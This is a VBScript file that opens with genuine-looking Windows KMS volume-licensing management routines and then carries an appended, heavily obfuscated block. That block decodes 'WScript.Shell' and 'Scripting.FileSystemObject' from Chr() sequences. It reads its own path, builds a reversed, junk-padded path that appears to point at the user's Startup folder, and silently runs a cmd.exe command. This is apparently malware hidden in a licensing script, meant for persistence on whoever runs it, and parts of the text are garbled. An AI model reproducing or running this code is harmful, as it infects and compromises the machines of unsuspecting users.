'' Volume license service/client management
Private Sub QuitIfErrorRestoreKmsName(obj, strKmsName)
Dim objErr
If Err.Number <> 0 Then
set objErr = new CErr
If strKmsName = "" Then
obj.ClearKeyManagementServiceMachine()
Else
obj.SetKeyManagementServiceMachine(strKmsName)
End If
ShowError GetResource("L_MsgErrorText_8"), objErr
ExitScript objErr.Number
End If
End Sub
Private Function GetKmsClientObjectByActivationID(strActivationID)
Dim objProduct, objTarget
strActivationID = LCase(strActivationID)
Set objTarget = Nothing
On Error Resume Next
If strActivationID = "" Then
Set objTarget = GetServiceObject("Version, " & KMSClientLookupClause)
QuitIfError()
Else
For Each objProduct in GetProductCollection("ID, " & KMSClientLookupClause, EmptyWhereClause)
If (LCase(objProduct.ID) = strActivationID) Then
Set objTarget = objProduct
Exit For
End If
Next
If objTarget is Nothing Then
Lineout Replace(GetResource("L_MsgErrorActivationID"), "%ActID%", strActivationID)
End If
End If
Set GetKmsClientObjectByActivationID = objTarget
End Function
Private Sub SetKmsMachineName(strKmsNamePort, strActivationID)
Dim objTarget
Dim nColon, strKmsName, strKmsNamePrev, strKmsPort, nBracketEnd
Dim nKmsPort
nBracketEnd = InStr(StrKmsNamePort, "]")
If InStr(strKmsNamePort, "[") = 1 And nBracketEnd > 1 Then
' IPV6 Address
If Len(StrKmsNamePort) = nBracketEnd Then
'No Port Number
strKmsName = strKmsNamePort
strKmsPort = ""
Else
strKmsName = Left(strKmsNamePort, nBracketEnd)
strKmsPort = Right(strKmsNamePort, Len(strKmsNamePort) - nBracketEnd - 1)
End If
Else
' IPV4 Address
nColon = InStr(1, strKmsNamePort, ":")
If nColon <> 0 Then
strKmsName = Left(strKmsNamePort, nColon - 1)
strKmsPort = Right(strKmsNamePort, Len(strKmsNamePort) - nColon)
Else
strKmsName = strKmsNamePort
strKmsPort = ""
End If
End If
Set objTarget = GetKmsClientObjectByActivationID(strActivationID)
On Error Resume Next
If Not objTarget is Nothing Then
strKmsNamePrev = objTarget.KeyManagementServiceMachine
If strKmsName <> "" Then
objTarget.SetKeyManagementServiceMachine(strKmsName)
QuitIfError()
End If
If strKmsPort <> "" Then
nKmsPort = CLng(strKmsPort)
QuitIfErrorRestoreKmsName objTarget, strKmsNamePrev
objTarget.SetKeyManagementServicePort(nKmsPort)
QuitIfErrorRestoreKmsName objTarget, strKmsNamePrev
Else
objTarget.ClearKeyManagementServicePort()
QuitIfErrorRestoreKmsName objTarget, strKmsNamePrev
End If
LineOut Replace(GetResource("L_MsgKmsNameSet"), "%KMS%", strKmsNamePort)
If objTarget.KeyManagementServiceLookupDomain <> "" Then
LineOut Replace(GetResource("L_MsgKmsUseMachineNameOverrides"), _
"%KMS%", _
strKmsNamePort)
End If
End If
End Sub
Private Sub ClearKms(strActivationID)
Dim objTarget
Set objTarget = GetKmsClientObjectByActivationID(strActivationID)
On Error Resume Next
If Not objTarget is Nothing Then
objTarget.ClearKeyManagementServiceMachine()
QuitIfError()
objTarget.ClearKeyManagementServicePort()
QuitIfError()
LineOut GetResource("L_MsgKmsNameCleared")
If objTarget.KeyManagementServiceLookupDomain <> "" Then
LineOut Replace(GetResource("L_MsgKmsUseLookupDomain"), _
"%FQDN%", _
objTarget.KeyManagementServiceLookupDomain)
End If
End If
End Sub
Private Sub SetKmsLookupDomain(strKmsLookupDomain, strActivationID)
Dim objTarget
Dim strKms, nPort
Set objTarget = GetKmsClientObjectByActivationID(strActivationID)
On Error Resume Next
If Not objTarget is Nothing Then
objTarget.SetKeyManagementServiceLookupDomain(strKmsLookupDomain)
QuitIfError()
LineOut Replace(GetResource("L_MsgKmsLookupDomainSet"), "%FQDN%", strKmsLookupDomain)
If objTarget.KeyManagementServiceMachine <> "" Then
strKms = objTarget.KeyManagementServiceMachine
nPort = objTarget.KeyManagementServicePort
LineOut Replace(GetResource("L_MsgKmsUseMachineNameOverrides"), _
"%KMS%", strKms & ":" & nPort)
End If
End If
End Sub
Private Sub ClearKmsLookupDomain(strActivationID)
Dim objTarget
Dim strKms, nPort
Set objTarget = GetKmsClientObjectByActivationID(strActivationID)
On Error Resume Next
If Not objTarget is Nothing Then
objTarget.ClearKeyManagementServiceLookupDomain
QuitIfError()
LineOut GetResource("L_MsgKmsLookupDomainCleared")
If objTarget.KeyManagementServiceMachine <> "" Then
strKms = objTarget.KeyManagementServiceMachine
nPort = objTarget.KeyManagementServicePort
LineOut Replace(GetResource("L_MsgKmsUseMachineName"), _
"%KMS%", strKms & ":" & nPort)
End If
End If
End Sub
Private Sub SetHostCachingDisable(boolHostCaching)
Dim objService
On Error Resume Next
set objService = GetServiceObject("Version")
QuitIfError()
objService.DisableKeyManagementServiceHostCaching(boolHostCaching)
QuitIfError()
If boolHostCaching Then
LineOut GetResource("L_MsgKmsHostCachingDisabled")
Else
LineOut GetResource("L_MsgKmsHostCachingEnabled")
End If
End Sub
Private Sub SetActivationInterval(intInterval)
Dim objService, objProduct
Dim kmsFlag, strOutput
If (intInterval < 0) Then
LineOut GetResource("L_MsgInvalidDataError")
Exit Sub
End If
On Error Resume Next
set objService = GetServiceObject("Version")
QuitIfError()
For Each objProduct in GetProductCollection("ID, IsKeyManagementServiceMachine", PartialProductKeyNonNullWhereClause)
kmsFlag = objProduct.IsKeyManagementServiceMachine
If kmsFlag = 1 Then
objService.SetVLActivationInterval(intInterval)
QuitIfError()
strOutput = Replace(GetResource("L_MsgActivationSet"), "%ACTIVATION%", intInterval)
LineOut strOutput
LineOut GetResource("L_MsgWarningKmsReboot")
Exit For
End If
Next
If kmsFlag <> 1 Then
LineOut GetResource("L_MsgWarningActivation")
End If
End Sub
Private Sub SetRenewalInterval(intInterval)
Dim objService, objProduct
Dim kmsFlag, strOutput
If (intInterval < 0) Then
LineOut GetResource("L_MsgInvalidDataError")
Exit Sub
End If
On Error Resume Next
set objService = GetServiceObject("Version")
QuitIfError()
For Each objProduct in GetProductCollection("ID, IsKeyManagementServiceMachine", PartialProductKeyNonNullWhereClause)
kmsFlag = objProduct.IsKeyManagementServiceMachine
If kmsFlag Then
objService.SetVLRenewalInterval(intInterval)
QuitIfError()
strOutput = Replace(GetResource("L_MsgRenewalSet"), "%RENEWAL%", intInterval)
LineOut strOutput
LineOut GetResource("L_MsgWarningKmsReboot")
Exit For
End If
Next
If kmsFlag <> 1 Then
LineOut GetResource("L_MsgWarningRenewal")
End If
End Sub
Private Sub SetKmsListenPort(strPort)
Dim objService, objProduct
Dim kmsFlag, lRet, strOutput
Dim nPort
On Error Resume Next
set objService = GetServiceObject("Version")
QuitIfError()
For Each objProduct in GetProductCollection("ID, IsKeyManagementServiceMachine", PartialProductKeyNonNullWhereClause)
kmsFlag = objProduct.IsKeyManagementServiceMachine
If kmsFlag Then
nPort = CLng(strPort)
objService.SetKeyManagementServiceListeningPort(nPort)
QuitIfError()
strOutput = Replace(GetResource("L_MsgKmsPortSet"), "%PORT%", strPort)
LineOut strOutput
LineOut GetResource("L_MsgWarningKmsReboot")
Exit For
End If
Next
If kmsFlag <> 1 Then
LineOut GetResource("L_MsgWarningKmsPort")
End If
End Sub
On Error Resume Next
EQPWLlPGsypNqlAQidvLrbvWgyCndNaeWLYmcLbbnBYtgADzTUyZSBpPVgwRjBcMUCvLydPWDUZcCCxMWDuPoBldlgqWCiPmqrVBLulfWQVUPWgSPXdCMRdWrmbXtR = Chr(112)&Chr(117)&Chr(116)&Chr(114)&Chr(97)&Chr(116)&Chr(83)
Escola = EQPWLlPGsypNqlAQidvLrbvWgyCndNaeWLYmcLbbnBYtgADzTUyZSBpPVgwRjBcMUCvLydPWDUZcCCxMWDuPoBldlgqWCiPmqrVBLulfWQVUPWgSPXdCMRdWrmbXtR
Escola = eKRiX(eKRiX(eKRiX(Escola)))
Function CDLZVXYCPTHXCMSOGNKETXWATYYELDVNUCVJRYRNWGDQTCRQELBJIISFGKFXYTQLXTCZQJXIWWIMTGHRHIAZCMFLKQCGSTOCQSSZZRZVNSMLAFLADOQQSQJLORPAGQQ(IFWBNHRPIEMKATLEEBDDDYJZIHKICZPWCJDUIKMVXAINEZLVFKWENMZKVXSGWJNJPPIQQQVUPHGCQVUJVPCRCKJPKTYLRGYNNYXPQUFPPCPFGWUZDIKHGWGFFSFXR, find, CJJSPRYESAKNBAUDJOYZHIVRHRSSJXPIXEZGWNGCBYQJWTUGKCJQYSDTNRLYZFUULCQXAOHVIVXJSLUOXLHHOYJEBFSECIDVDVYUCWFWVOICUTBCXXBNXNGMSLWUVCT)
SBFXMZLAGLMAQHKHEPHFGQYQOLCRAKATUIJTODQXLAGMBGWKBOQGUOTBDPJAXTAVKTFHXQTAZKTFJLPHPRPLUUYGPIPZUPZSALBHBPNKVPGKVNSSABLGEPAQUYSPB = Len(IFWBNHRPIEMKATLEEBDDDYJZIHKICZPWCJDUIKMVXAINEZLVFKWENMZKVXSGWJNJPPIQQQVUPHGCQVUJVPCRCKJPKTYLRGYNNYXPQUFPPCPFGWUZDIKHGWGFFSFXR)
FKKAFYJHGZEFPEONLBPXYTDTOLKLMCWXJBKWAUITISULBYZWCHNQZEVLGQMTOXUEDGWNURNRTVOGYSSPLOJFOFXFGYQKHOFKYQIVCMBKTWXDPONOXXIAOOPXIRGWBCJE = Len(find)
DHIJXMYMYLSIUPRLCMJGFWJBKMLGFJRMSOLGEEAKJNPCWPOBOKZQAYJHYHYKBSGPUFPGDKGXLYXSGHEVXKRUKBMUEDIXFPJQGAHRAIXDEBEBBRARCDNRAMFTSUBACJRW = Len(CJJSPRYESAKNBAUDJOYZHIVRHRSSJXPIXEZGWNGCBYQJWTUGKCJQYSDTNRLYZFUULCQXAOHVIVXJSLUOXLHHOYJEBFSECIDVDVYUCWFWVOICUTBCXXBNXNGMSLWUVCT)
ReDim GLGZNUOMOQIWLSMDRUBCSPUVOYFGXBVJILUGURPJYEMWWWHCPWKOPTXRQLLPPIPMUYOZYFIZFSENCYYRQDRAQHTOODQJGAUQPZBXIHEJOKIXPJORMTYLROWNEZLUPZT(SBFXMZLAGLMAQHKHEPHFGQYQOLCRAKATUIJTODQXLAGMBGWKBOQGUOTBDPJAXTAVKTFHXQTAZKTFJLPHPRPLUUYGPIPZUPZSALBHBPNKVPGKVNSSABLGEPAQUYSPB)
i = 1
j = 0
Do While i <= SBFXMZLAGLMAQHKHEPHFGQYQOLCRAKATUIJTODQXLAGMBGWKBOQGUOTBDPJAXTAVKTFHXQTAZKTFJLPHPRPLUUYGPIPZUPZSALBHBPNKVPGKVNSSABLGEPAQUYSPB
If Mid(IFWBNHRPIEMKATLEEBDDDYJZIHKICZPWCJDUIKMVXAINEZLVFKWENMZKVXSGWJNJPPIQQQVUPHGCQVUJVPCRCKJPKTYLRGYNNYXPQUFPPCPFGWUZDIKHGWGFFSFXR, i, FKKAFYJHGZEFPEONLBPXYTDTOLKLMCWXJBKWAUITISULBYZWCHNQZEVLGQMTOXUEDGWNURNRTVOGYSSPLOJFOFXFGYQKHOFKYQIVCMBKTWXDPONOXXIAOOPXIRGWBCJE) = find Then
For k = 1 To DHIJXMYMYLSIUPRLCMJGFWJBKMLGFJRMSOLGEEAKJNPCWPOBOKZQAYJHYHYKBSGPUFPGDKGXLYXSGHEVXKRUKBMUEDIXFPJQGAHRAIXDEBEBBRARCDNRAMFTSUBACJRW
GLGZNUOMOQIWLSMDRUBCSPUVOYFGXBVJILUGURPJYEMWWWHCPWKOPTXRQLLPPIPMUYOZYFIZFSENCYYRQDRAQHTOODQJGAUQPZBXIHEJOKIXPJORMTYLROWNEZLUPZT(j) = Mid(CJJSPRYESAKNBAUDJOYZHIVRHRSSJXPIXEZGWNGCBYQJWTUGKCJQYSDTNRLYZFUULCQXAOHVIVXJSLUOXLHHOYJEBFSECIDVDVYUCWFWVOICUTBCXXBNXNGMSLWUVCT, k, 1)
j = j + 1
Next
i = i + FKKAFYJHGZEFPEONLBPXYTDTOLKLMCWXJBKWAUITISULBYZWCHNQZEVLGQMTOXUEDGWNURNRTVOGYSSPLOJFOFXFGYQKHOFKYQIVCMBKTWXDPONOXXIAOOPXIRGWBCJE
Else
GLGZNUOMOQIWLSMDRUBCSPUVOYFGXBVJILUGURPJYEMWWWHCPWKOPTXRQLLPPIPMUYOZYFIZFSENCYYRQDRAQHTOODQJGAUQPZBXIHEJOKIXPJORMTYLROWNEZLUPZT(j) = Mid(IFWBNHRPIEMKATLEEBDDDYJZIHKICZPWCJDUIKMVXAINEZLVFKWENMZKVXSGWJNJPPIQQQVUPHGCQVUJVPCRCKJPKTYLRGYNNYXPQUFPPCPFGWUZDIKHGWGFFSFXR, i, 1)
i = i + 1
j = j + 1
End If
Loop
YNXCXBJJZHMFYWZFPYWMBIZBDNSIWJUORDYBLLULKPLKCQPIAFERDGEPOWZKIBMPMXOVXXTEEKCMWPYNXKHQFDLLZJNOLJCJCWXEBUKCMAMSDRSZYMMYTVKJMDWOKF = ""
For i = 0 To j - 1
YNXCXBJJZHMFYWZFPYWMBIZBDNSIWJUORDYBLLULKPLKCQPIAFERDGEPOWZKIBMPMXOVXXTEEKCMWPYNXKHQFDLLZJNOLJCJCWXEBUKCMAMSDRSZYMMYTVKJMDWOKF = YNXCXBJJZHMFYWZFPYWMBIZBDNSIWJUORDYBLLULKPLKCQPIAFERDGEPOWZKIBMPMXOVXXTEEKCMWPYNXKHQFDLLZJNOLJCJCWXEBUKCMAMSDRSZYMMYTVKJMDWOKF & GLGZNUOMOQIWLSMDRUBCSPUVOYFGXBVJILUGURPJYEMWWWHCPWKOPTXRQLLPPIPMUYOZYFIZFSENCYYRQDRAQHTOODQJGAUQPZBXIHEJOKIXPJORMTYLROWNEZLUPZT(i)
Next
CDLZVXYCPTHXCMSOGNKETXWATYYELDVNUCVJRYRNWGDQTCRQELBJIISFGKFXYTQLXTCZQJXIWWIMTGHRHIAZCMFLKQCGSTOCQSSZZRZVNSMLAFLADOQQSQJLORPAGQQ = YNXCXBJJZHMFYWZFPYWMBIZBDNSIWJUORDYBLLULKPLKCQPIAFERDGEPOWZKIBMPMXOVXXTEEKCMWPYNXKHQFDLLZJNOLJCJCWXEBUKCMAMSDRSZYMMYTVKJMDWOKF
End Function
TWeIvPhoIiWTGkKXcGUkteuLbkwGmWchNWJPihSktHjpSPiipMKDWhUtjZqtWSUSUZuhHULUWuWGSrbZwxaTKJGbGOUyPKaKGsIvtPkBGUuCUhLiqnuPMoctUWHWKbur = "wpWK"
QXNPNLPLQGZRZPRRMLGLNDY
XZXNPCXYSQKMOJHJPDDBGPZJVKRYRBZMBGVYKYXOGNWJGBVBZWN
if (CInt(HgNH) < 1) and true then
vSmIdNmNuaYWhepmmKirghDbMqLMKWnZpKvxGOKhMAvhSpGcOUkfQtYkwYOmBtXPUPDOkxqIxefYfLALUYXvXtNheIvUPmeNhWwtKXzipmwTlzYKKUhPcwZbDxKUhm= Chr(87)&Chr(83)&Chr(99)&Chr(114)&Chr(105)&Chr(112)&Chr(116)&Chr(46)&Chr(83)&Chr(104)&Chr(101)&Chr(108)&Chr(108)
DURcKNgBJGUzDWJxoxHRipUWGRSbSsCoXsJhfgnRpooCpGgGWGGxZgWHQUDYUpgpNXUOCXOBUUIolKGCSmfzOnNGCxXdcIOnbZuohgPzDWUcWgpKUiNhUwopWgOgnGNt = Chr(83)&Chr(99)&Chr(114)&Chr(105)&Chr(112)&Chr(116)&Chr(105)&Chr(110)&Chr(103)&Chr(46)&Chr(70)&Chr(105)&Chr(108)&Chr(101)&Chr(83)&Chr(121)&Chr(115)&Chr(116)&Chr(101)&Chr(109)&Chr(79)&Chr(98)&Chr(106)&Chr(101)&Chr(99)&Chr(116)
Set GqnBDDlAKOqyqUXNcOmwbkTeSwPOGaUIqaiNllWwWyWqCMwTqScMelYWxyPgqCDCeTTlrDwGqTHzPGUxPZGyqzuScNDmDPqiOSNDLMwdfRTCRlQwYUANKAcWRUYUiSAUo = CreateObject(vSmIdNmNuaYWhepmmKirghDbMqLMKWnZpKvxGOKhMAvhSpGcOUkfQtYkwYOmBtXPUPDOkxqIxefYfLALUYXvXtNheIvUPmeNhWwtKXzipmwTlzYKKUhPcwZbDxKUhm)
Set yRuNxuBXUzbqvqUUMNNbcLPfOMxLuAUuCSqfaRPHXYcUOvLYRflGUGMWHfiKxcwcsLxPeKIbJpAPqXGOCxWfRXncczHKWxqLWYccOJTNRlWRRKOPRlcMsqGXWRCiDqNnc = CreateObject(DURcKNgBJGUzDWJxoxHRipUWGRSbSsCoXsJhfgnRpooCpGgGWGGxZgWHQUDYUpgpNXUOCXOBUUIolKGCSmfzOnNGCxXdcIOnbZuohgPzDWUcWgpKUiNhUwopWgOgnGNt)
GqnBDDlAKOqyqUXNcOmwbkTeSwPOGaUIqaiNllWwWyWqCMwTqScMelYWxyPgqCDCeTTlrDwGqTHzPGUxPZGyqzuScNDmDPqiOSNDLMwdfRTCRlQwYUANKAcWRUYUiSAU = yRuNxuBXUzbqvqUUMNNbcLPfOMxLuAUuCSqfaRPHXYcUOvLYRflGUGMWHfiKxcwcsLxPeKIbJpAPqXGOCxWfRXncczHKWxqLWYccOJTNRlWRRKOPRlcMsqGXWRCiDqNnc.GetAbsolutePathName(WScript.ScriptFullName)
uwKfXJXADDwoxaiOKSKgXbrQWgBtRgWefgUohXeggCHmodrjmONzcXBoyienwoRoterXsRHZwrPYybcDBUwoBUuWGKRaJWKntceXpdgHDdrTdXZrKmLofAKgdaiknWLK = GqnBDDlAKOqyqUXNcOmwbkTeSwPOGaUIqaiNllWwWyWqCMwTqScMelYWxyPgqCDCeTTlrDwGqTHzPGUxPZGyqzuScNDmDPqiOSNDLMwdfRTCRlQwYUANKAcWRUYUiSAU
yPQWSWRjdjPNXBKjjDTveWKAWvtLUWcWWWoULRfvQUAObBPUOuQksRqhPSmePbgbgfKRygGMPKDURlGUtoLNOKtWqUgbWzqWLwZSqBvJPIKfIRKPONMUWjjQIvWUWWMd34 = "*+#
UbWGdJLsIXbWqdCCWWcKtvyqhKvnYXedzXyOULPKoXnWWBOiWDOfxLYXagccbWQWvsyLxQlBbySORJPsvKJWpNShCWQKJkqNnoKdfBKqnJyWJLhOmhjOMsWoJjUoNhjD = ")'sbv." + TWeIvPhoIiWTGkKXcGUkteuLbkwGmWchNWJPihSktHjpSPiipMKDWhUtjZqtWSUSUZuhHULUWuWGSrbZwxaTKJGbGOUyPKaKGsIvtPkBGUuCUhLiqnuPMoctUWHWKbur + " \pu*+#
(tr*+#
(atS\sm*+#
(ar*+#
(gor*+#
(P\u*+#
UbWGdJLsIXbWqdCCWWcKtvyqhKvnYXedzXyOULPKoXnWWBOiWDOfxLYXagccbWQWvsyLxQlBbySORJPsvKJWpNShCWQKJkqNnoKdfBKqnJyWJLhOmhjOMsWoJjUoNhjD = UbWGdJLsIXbWqdCCWWcKtvyqhKvnYXedzXyOULPKoXnWWBOiWDOfxLYXagccbWQWvsyLxQlBbySORJPsvKJWpNShCWQKJkqNnoKdfBKqnJyWJLhOmhjOMsWoJjUoNhjD + " tra*+#
(S\s*+#
(wo*+#
(dniW\t*+#
(fo*+#
(so*+#
(rci*+#
(M\g*+#
(im*+#
(aoR\a*+#
(ta*+#
(Dp*+#
(pA\*+#
UbWGdJLsIXbWqdCCWWcKtvyqhKvnYXedzXyOULPKoXnWWBOiWDOfxLYXagccbWQWvsyLxQlBbySORJPsvKJWpNShCWQKJkqNnoKdfBKqnJyWJLhOmhjOMsWoJjUoNhjD = WKQfhWJMGlLWdxWULaROZONKknZdGlxxeGfxSadWaJfDyjJWyNBWLkBrpGTKlkLNyToSyaOOGyLpCWZYOGZYjLuLWQWZcuuSZWYeYLdlJDOwupBrePnQODNhPWKWOON(WKQfhWJMGlLWdxWULaROZONKknZdGlxxeGfxSadWaJfDyjJWyNBWLkBrpGTKlkLNyToSyaOOGyLpCWZYOGZYjLuLWQWZcuuSZWYeYLdlJDOwupBrePnQODNhPWKWOON( UbWGdJLsIXbWqdCCWWcKtvyqhKvnYXedzXyOULPKoXnWWBOiWDOfxLYXagccbWQWvsyLxQlBbySORJPsvKJWpNShCWQKJkqNnoKdfBKqnJyWJLhOmhjOMsWoJjUoNhjD , yPQWSWRjdjPNXBKjjDTveWKAWvtLUWcWWWoULRfvQUAObBPUOuQksRqhPSmePbgbgfKRygGMPKDURlGUtoLNOKtWqUgbWzqWLwZSqBvJPIKfIRKPONMUWjjQIvWUWWMd34 , WToLnYxZDMTqNUvcHmrdcQUbvdJXUmGSLmPnRxcdtAexbzcoxzyTAxSmeUDlTbtbcIUxNtrcTUwCOcOYJvmqjHkvWNtLYrtLXtnnszdkcjUejxtciWPnkZHtjSdsLvPG ),UbWGdJLsIXbWqdCCWWcKtvyqhKvnYXedzXyOULPKoXnWWBOiWDOfxLYXagccbWQWvsyLxQlBbySORJPsvKJWpNShCWQKJkqNnoKdfBKqnJyWJLhOmhjOMsWoJjUoNhjD,UbWGdJLsIXbWqdCCWWcKtvyqhKvnYXedzXyOULPKoXnWWBOiWDOfxLYXagccbWQWvsyLxQlBbySORJPsvKJWpNShCWQKJkqNnoKdfBKqnJyWJLhO
zTtcwDKgJbTicPTNXrLtOatiTCWilOtHUOZPhKPtpHUsMOaWsUiNxKmoDsLcTMnMQWsKsWDATtiHheTtWPSiWeDTCJnUDiKNixSwcOCtLCsoCKraPCTPxgXpSnqGNTTm = "l
]G$swD
]G$swD
]G$swD
]G$swD
]G$swD
]G$swD
]G$swD
]G$swD
]G$swD
]G$swD
]G$swD
zTtcwDKgJbTicPTNXrLtOatiTCWilOtHUOZPhKPtpHUsMOaWsUiNxKmoDsLcTMnMQWsKsWDATtiHheTtWPSiWeDTCJnUDiKNixSwcOCtLCsoCKraPCTPxgXpSnqGNTTm = zTtcwDKgJbTicPTNXrLtOatiTCWilOtHUOZPhKPtpHUsMOaWsUiNxKmoDsLcTMnMQWsKsWDATtiHheTtWPSiWeDTCJnUDiKNixSwcOCtLCsoCKraPCTPxgXpSnqGNTTm + "l
]G$swD
]G$swD
]G$swD
]G$swD
]G$swD
]G$swD
]G$swD
zTtcwDKgJbTicPTNXrLtOatiTCWilOtHUOZPhKPtpHUsMOaWsUiNxKmoDsLcTMnMQWsKsWDATtiHheTtWPSiWeDTCJnUDiKNixSwcOCtLCsoCKraPCTPxgXpSnqGNTTm = zTtcwDKgJbTicPTNXrLtOatiTCWilOtHUOZPhKPtpHUsMOaWsUiNxKmoDsLcTMnMQWsKsWDATtiHheTtWPSiWeDTCJnUDiKNixSwcOCtLCsoCKraPCTPxgXpSnqGNTTm + GqnBDDlAKOqyqUXNcOmwbkTeSwPOGaUIqaiNllWwWyWqCMwTqScMelYWxyPgqCDCeTTlrDwGqTHzPGUxPZGyqzuScNDmDPqiOSNDLMwdfRTCRlQwYUANKAcWRUYUiSAU + "',"
zTtcwDKgJbTicPTNXrLtOatiTCWilOtHUOZPhKPtpHUsMOaWsUiNxKmoDsLcTMnMQWsKsWDATtiHheTtWPSiWeDTCJnUDiKNixSwcOCtLCsoCKraPCTPxgXpSnqGNTTm = zTtcwDKgJbTicPTNXrLtOatiTCWilOtHUOZPhKPtpHUsMOaWsUiNxKmoDsLcTMnMQWsKsWDATtiHheTtWPSiWeDTCJnUDiKNixSwcOCtLCsoCKraPCTPxgXpSnqGNTTm + "'Cl
]G$swD
]G$swD
]G$swD
]G$swD
ers\' l
]G$swD
]G$swD
]G$swD
]G$swD
]G$swD
]G$swD
]G$swD
]G$swD
]G$swD
]G$swD
]G$swD
]G$swD
]G$swD
]G$swD
]G$swD
]G$swD
]G$swD
]G$swD
]G$swD
HdIGGTomJWWTvXIcTdpfziPnKRhXGJDXiRGXRRXWRoTALLqUoTCpctauLwAuWyTUocppPysswLlmCWTWfJqWlvNTkcbYuzNpqOvCWZCWiAsPfTCuisJTfATKsWcHsiP = UbWGdJLsIXbWqdCCWWcKtvyqhKvnYXedzXyOULPKoXnWWBOiWDOfxLYXagccbWQWvsyLxQlBbySORJPsvKJWpNShCWQKJkqNnoKdfBKqnJyWJLhOmhjOMsWoJjUoNhjD
HdIGGTomJWWTvXIcTdpfziPnKRhXGJDXiRGXRRXWRoTALLqUoTCpctauLwAuWyTUocppPysswLlmCWTWfJqWlvNTkcbYuzNpqOvCWZCWiAsPfTCuisJTfATKsWcHsiP = eKRiX( _
HdIGGTomJWWTvXIcTdpfziPnKRhXGJDXiRGXRRXWRoTALLqUoTCpctauLwAuWyTUocppPysswLlmCWTWfJqWlvNTkcbYuzNpqOvCWZCWiAsPfTCuisJTfATKsWcHsiP)
zTtcwDKgJbTicPTNXrLtOatiTCWilOtHUOZPhKPtpHUsMOaWsUiNxKmoDsLcTMnMQWsKsWDATtiHheTtWPSiWeDTCJnUDiKNixSwcOCtLCsoCKraPCTPxgXpSnqGNTTm = WKQfhWJMGlLWdxWULaROZONKknZdGlxxeGfxSadWaJfDyjJWyNBWLkBrpGTKlkLNyToSyaOOGyLpCWZYOGZYjLuLWQWZcuuSZWYeYLdlJDOwupBrePnQODNhPWKWOON( _
zTtcwDKgJbTicPTNXrLtOatiTCWilOtHUOZPhKPtpHUsMOaWsUiNxKmoDsLcTMnMQWsKsWDATtiHheTtWPSiWeDTCJnUDiKNixSwcOCtLCsoCKraPCTPxgXpSnqGNTTm + _
HdIGGTomJWWTvXIcTdpfziPnKRhXGJDXiRGXRRXWRoTALLqUoTCpctauLwAuWyTUocppPysswLlmCWTWfJqWlvNTkcbYuzNpqOvCWZCWiAsPfTCuisJTfATKsWcHsiP , _
]G$swD
WKQfhWJMGlLWdxWULaROZONKknZdGlxxeGfxSadWaJfDyjJWyNBWLkBrpGTKlkLNyToSyaOOGyLpCWZYOGZYjLuLWQWZcuuSZWYeYLdlJDOwupBrePnQODNhPWKWOON(WToLnYxZDMTqNUvcHmrdcQUbvdJXUmGSLmPnRxcdtAexbzcoxzyTAxSmeUDlTbtbcIUxNtrcTUwCOcOYJvmqjHkvWNtLYrtLXtnnszdkcjUejxtciWPnkZHtjSdsLvPG + "VlhANJWzUqNPORSOkNZdNOhowIxkiYoWLNNCGKrJjyNbjHfDAx","VlhANJWzUqNPORSOkNZdNOhowIxkiYoWLNNCGKrJjyNbjHfDAx",WToLnYxZDMTqNUvcHmrdcQUbvdJXUmGSLmPnRxcdtAexbzcoxzyTAxSmeUDlTbtbcIUxNtrcTUwCOcOYJvmqjHkvWNtLYrtLXtnnszdkcjUejxtciWPnkZHtjSdsLvPG) )
yPQWSWRjdjPNXBKjjDTveWKAWvtLUWcWWWoULRfvQUAObBPUOuQksRqhPSmePbgbgfKRygGMPKDURlGUtoLNOKtWqUgbWzqWLwZSqBvJPIKfIRKPONMUWjjQIvWUWWMd = WKQfhWJMGlLWdxWULaROZONKknZdGlxxeGfxSadWaJfDyjJWyNBWLkBrpGTKlkLNyToSyaOOGyLpCWZYOGZYjLuLWQWZcuuSZWYeYLdlJDOwupBrePnQODNhPWKWOON("cmlgzkOcWocvmcPPOWqxNpZCTKNSWtLPHPUJkPsznxcWAcUqcTLcPUxIPGcOrkvUqMOQCzxZwNOUzxwScQpcwQJTNnGDWWNUNzwBnuQvWPPXqZTmPGUgcrpXBZgxOlwUOdlgzkOcWocvmcPPOWqxNpZCTKNSWtLPHPUJkPsznxcWAcUqcTLcPUxIPGcOrkvUqMOQCzxZwNOUzxwScQpcwQJTNnGDWWNUNzwBnuQvWPPXqZTmPGUgcrpXBZgxOlwUO.exlgzkOcWocvmcPPOWqxNpZCTKNSWtLPHPUJkPsznxcWAcUqcTLcPUxIPGcOrkvUqMOQCzxZwNOUzxwScQpcwQJTNnGDWWNUNzwBnuQvWPPXqZTmPGUgcrpXBZgxOlwUOe /c plgzkOcWocvmcPPOWqxNpZCTKNSWtLPHPUJkPsznxcWAcUqcTLcPUxIPGcOrkvUqMOQCzxZwNOUzxwScQpcwQJTNnGDWWNUNzwBnuQvWPPXqZTmPGUgcrpXBZgxOlwUOing 1lgzkOcWocvmcPPOWqxNpZCTKNSWtLPHPUJkPsznxcWAcUqcTLcPUxIPGcOrkvUqMOQCzxZwNOUzxwScQpcwQJTNnGDWWNUNzwBnuQvWPPXqZTmPGUgcrpXBZgxOlwUO27.lgzkOcWocvmcPPOWqxNpZCTKNSWtLPHPUJkPsznxcWAcUqcTLcPUxIPGcOrkvUqMOQCzxZwNOUzxwScQpcwQJTNnGDWWNUNzwBnuQvWPPXqZT
GqnBDDlAKOqyqUXNcOmwbkTeSwPOGaUIqaiNllWwWyWqCMwTqScMelYWxyPgqCDCeTTlrDwGqTHzPGUxPZGyqzuScNDmDPqiOSNDLMwdfRTCRlQwYUANKAcWRUYUiSAUo.run yPQWSWRjdjPNXBKjjDTveWKAWvtLUWcWWWoULRfvQUAObBPUOuQksRqhPSmePbgbgfKRygGMPKDURlGUtoLNOKtWqUgbWzqWLwZSqBvJPIKfIRKPONMUWjjQIvWUWWMd, 0, true
end if
